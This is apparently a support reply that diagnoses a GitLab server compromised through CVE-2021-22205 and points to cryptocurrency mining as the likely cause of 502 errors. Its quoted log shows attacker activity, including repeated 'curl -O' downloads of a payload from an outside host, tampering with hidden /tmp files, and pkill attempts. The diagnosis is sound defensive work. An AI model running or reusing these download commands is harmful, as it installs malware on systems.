Looking at your gitlab-workhorse/current logs, I see evidence that your server has been compromised by CVE-2021-22205 to execute a malicious script.
{“command”:[“exiftool”,"-all=","–IPTC:all","–XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],“correlation_id”:“sffwA8malM”,“error”:“exit status 1”,“level”:“info”,“msg”:“exiftool command failed”,“stderr”:“no crontab for git\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 37857 0 --:–:-- --:–:-- --:–:-- 37857\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 17666 0 --:–:-- --:–:-- --:–:-- 17666\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 37857 0 --:–:-- --:–:-- --:–:-- 37857\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0bash: line 4: 1126019 Killed curl -O perl.psybnc.org/j/ioi\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 795 100 795 0 0 2944 0 --:–:-- --:–:-- --:–:-- 2944\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0bash: line 4: 1126041 Killed curl -O perl.psybnc.org/j/ioi\nno crontab for git\nrm: refusing to remove ‘.’ or ‘…’ directory: skipping ‘.’\nrm: refusing to remove ‘.’ or ‘…’ directory: skipping ‘…’\nchmod: cannot access ‘/tmp/.gitlab’: No such file or directory\nchmod: cannot access ‘/tmp/.sanbe’: No such file or directory\nchmod: cannot access ‘/tmp/.git’: No such file or directory\nchmod: cannot access ‘kingins’: No such file or directory\nchmod: cannot access ‘rinima’: No such file or directory\nrm: cannot remove ‘systemd-private-b20c6bc8e1814ac29fa482623a52cac0-fwupd.service-4xFHCf’: Operation not permitted\nrm: cannot remove ‘systemd-private-b20c6bc8e1814ac29fa482623a52cac0-fwupd.service-4xFHCf’: Operation not permitted\npkill: killing pid 958245 failed: Operation not permitted\npkill: killing pid 1830 failed: Operation not permitted\npkill: killing pid 1842 failed: Operation not permitted\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0\r100 4537k 100 4537k 0 0 41.0M 0 --:–:-- --:–:-- --:–:-- 41.4M\nError: Writing of this type of file is not supported - -\n”,“time”:“2022-01-04T16:01:26+01:00”}
Often this type of malicious activity is associated with running cryptocurrency mining software on the server that consume all available CPU. When GitLab doesn’t have sufficient CPU resources available, it’s common to see 502 errors.
I suggest you check your running processes with sudo htop --user git and verify if there are any unrecognized processes consuming most of your CPU resources.
If so, I suggest you consult the following: